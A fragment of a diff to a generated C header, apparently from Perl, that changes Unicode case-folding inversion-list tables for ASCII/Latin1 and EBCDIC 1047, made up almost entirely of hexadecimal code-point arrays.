- 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3D2, + 0x3D5, + 0x3F6, + 0x3F7, + 0x3FC, + 0x3FD, + 0x482, + 0x48A, + 0x530, + 0x531, + 0x557, 0x561, - 0, - CF_use_AUX_TABLE_7, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0x13F0, - 0, - 0x432, - 0x434, - 0x43E, - 0x441, - 0x442, - 0x44A, - 0x463, - 0xA64B, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - CF_use_AUX_TABLE_8, - CF_use_AUX_TABLE_9, - CF_use_AUX_TABLE_10, - CF_use_AUX_TABLE_11, - CF_use_AUX_TABLE_12, - 0x1E61, - 0, - CF_use_AUX_TABLE_1, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, + 0x588, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1C80, + 0x1C89, + 0x1D79, + 0x1D7A, + 0x1D7D, + 0x1D7E, + 0x1E00, + 0x1E9C, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1F16, + 0x1F18, + 0x1F1E, 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - CF_use_AUX_TABLE_13, - 0, - CF_use_AUX_TABLE_14, - 0, - CF_use_AUX_TABLE_15, - 0, - CF_use_AUX_TABLE_16, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - CF_use_AUX_TABLE_17, - CF_use_AUX_TABLE_18, - CF_use_AUX_TABLE_19, - CF_use_AUX_TABLE_20, - CF_use_AUX_TABLE_21, - CF_use_AUX_TABLE_22, - CF_use_AUX_TABLE_23, - CF_use_AUX_TABLE_24, - CF_use_AUX_TABLE_17, - CF_use_AUX_TABLE_18, - CF_use_AUX_TABLE_19, - CF_use_AUX_TABLE_20, - CF_use_AUX_TABLE_21, - CF_use_AUX_TABLE_22, - CF_use_AUX_TABLE_23, - CF_use_AUX_TABLE_24, - CF_use_AUX_TABLE_25, - CF_use_AUX_TABLE_26, - CF_use_AUX_TABLE_27, - CF_use_AUX_TABLE_28, - CF_use_AUX_TABLE_29, - CF_use_AUX_TABLE_30, - CF_use_AUX_TABLE_31, - CF_use_AUX_TABLE_32, - CF_use_AUX_TABLE_25, - CF_use_AUX_TABLE_26, - CF_use_AUX_TABLE_27, - CF_use_AUX_TABLE_28, - CF_use_AUX_TABLE_29, - CF_use_AUX_TABLE_30, - CF_use_AUX_TABLE_31, - CF_use_AUX_TABLE_32, - CF_use_AUX_TABLE_33, - CF_use_AUX_TABLE_34, - CF_use_AUX_TABLE_35, - CF_use_AUX_TABLE_36, - CF_use_AUX_TABLE_37, - CF_use_AUX_TABLE_38, - CF_use_AUX_TABLE_39, - CF_use_AUX_TABLE_40, - CF_use_AUX_TABLE_33, - CF_use_AUX_TABLE_34, - CF_use_AUX_TABLE_35, - CF_use_AUX_TABLE_36, - CF_use_AUX_TABLE_37, - CF_use_AUX_TABLE_38, - CF_use_AUX_TABLE_39, - CF_use_AUX_TABLE_40, - 0, - CF_use_AUX_TABLE_41, - CF_use_AUX_TABLE_42, - CF_use_AUX_TABLE_43, - 0, - CF_use_AUX_TABLE_44, - CF_use_AUX_TABLE_45, - 0x1FB0, - 0x1F70, - CF_use_AUX_TABLE_42, - 0, - 0x3B9, - 0, - CF_use_AUX_TABLE_46, - CF_use_AUX_TABLE_47, - CF_use_AUX_TABLE_48, - 0, - CF_use_AUX_TABLE_49, - CF_use_AUX_TABLE_50, - 0x1F72, - CF_use_AUX_TABLE_47, - 0, - CF_use_AUX_TABLE_51, - CF_use_AUX_TABLE_5, - 0, - CF_use_AUX_TABLE_52, - CF_use_AUX_TABLE_53, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, 0x1FD0, - 0x1F76, - 0, - CF_use_AUX_TABLE_54, - CF_use_AUX_TABLE_6, - CF_use_AUX_TABLE_55, - 0, - CF_use_AUX_TABLE_56, - CF_use_AUX_TABLE_57, + 0x1FD4, + 0x1FD6, + 0x1FDC, 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - CF_use_AUX_TABLE_58, - CF_use_AUX_TABLE_59, - CF_use_AUX_TABLE_60, - 0, - CF_use_AUX_TABLE_61, - CF_use_AUX_TABLE_62, - 0x1F78, - 0x1F7C, - CF_use_AUX_TABLE_59, - 0, - 0x3C9, - 0, - 0x6B, - 0xE5, - 0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2126, + 0x2127, + 0x212A, + 0x212C, + 0x2132, + 0x2133, 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, + 0x214F, + 0x2160, + 0x2180, + 0x2183, + 0x2185, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, + 0x2C5F, + 0x2C60, + 0x2C71, + 0x2C72, + 0x2C74, + 0x2C75, + 0x2C77, + 0x2C7E, + 0x2CE4, + 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0xA640, + 0xA66E, + 0xA680, + 0xA69C, + 0xA722, + 0xA730, + 0xA732, + 0xA770, + 0xA779, + 0xA788, + 0xA78B, + 0xA78E, + 0xA790, + 0xA794, + 0xA796, + 0xA7AF, + 0xA7B0, + 0xA7B8, 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0x13A0, - 0, - CF_use_AUX_TABLE_63, - CF_use_AUX_TABLE_64, - CF_use_AUX_TABLE_65, - CF_use_AUX_TABLE_66, - CF_use_AUX_TABLE_67, - CF_use_AUX_TABLE_68, - 0, - CF_use_AUX_TABLE_69, - CF_use_AUX_TABLE_70, - CF_use_AUX_TABLE_71, - CF_use_AUX_TABLE_72, - CF_use_AUX_TABLE_73, - 0, + 0xAB54, + 0xAB70, + 0xABC0, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFF21, + 0xFF3B, 0xFF41, - 0, - 0x10428, - 0, + 0xFF5B, + 0x10400, + 0x10450, + 0x104B0, + 0x104D4, 0x104D8, - 0, + 0x104FC, + 0x10C80, + 0x10CB3, 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 + 0x10CF3, + 0x118A0, + 0x118E0, + 0x1E900, + 0x1E944 }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Case_Folding_invlist[] = { /* for EBCDIC 1047 */ - 1392, /* Number of elements */ +static const UV _Perl_Folds_To_Multi_Char_invlist[] = { /* for ASCII/Latin1 */ + 59, /* Number of elements */ 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; + 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x59, - 0x5A, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, + 0xDF, + 0xE0, 0x130, 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, 0x149, 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, 0x1F0, 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, 0x390, 0x391, - 0x3A2, - 0x3A3, - 0x3AC, 0x3B0, 0x3B1, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, 0x587, 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, 0x1E9B, - 0x1E9C, 0x1E9E, 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, 0x1F50, 0x1F51, 0x1F52, @@ -4326,322868 +1951,4709 @@ static const UV Case_Folding_invlist[] = { /* for EBCDIC 1047 */ 0x1F55, 0x1F56, 0x1F57, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, 0x1F80, - 0x1F81, - 0x1F82, - 0x1F83, - 0x1F84, - 0x1F85, - 0x1F86, - 0x1F87, - 0x1F88, - 0x1F89, - 0x1F8A, - 0x1F8B, - 0x1F8C, - 0x1F8D, - 0x1F8E, - 0x1F8F, - 0x1F90, - 0x1F91, - 0x1F92, - 0x1F93, - 0x1F94, - 0x1F95, - 0x1F96, - 0x1F97, - 0x1F98, - 0x1F99, - 0x1F9A, - 0x1F9B, - 0x1F9C, - 0x1F9D, - 0x1F9E, - 0x1F9F, - 0x1FA0, - 0x1FA1, - 0x1FA2, - 0x1FA3, - 0x1FA4, - 0x1FA5, - 0x1FA6, - 0x1FA7, - 0x1FA8, - 0x1FA9, - 0x1FAA, - 0x1FAB, - 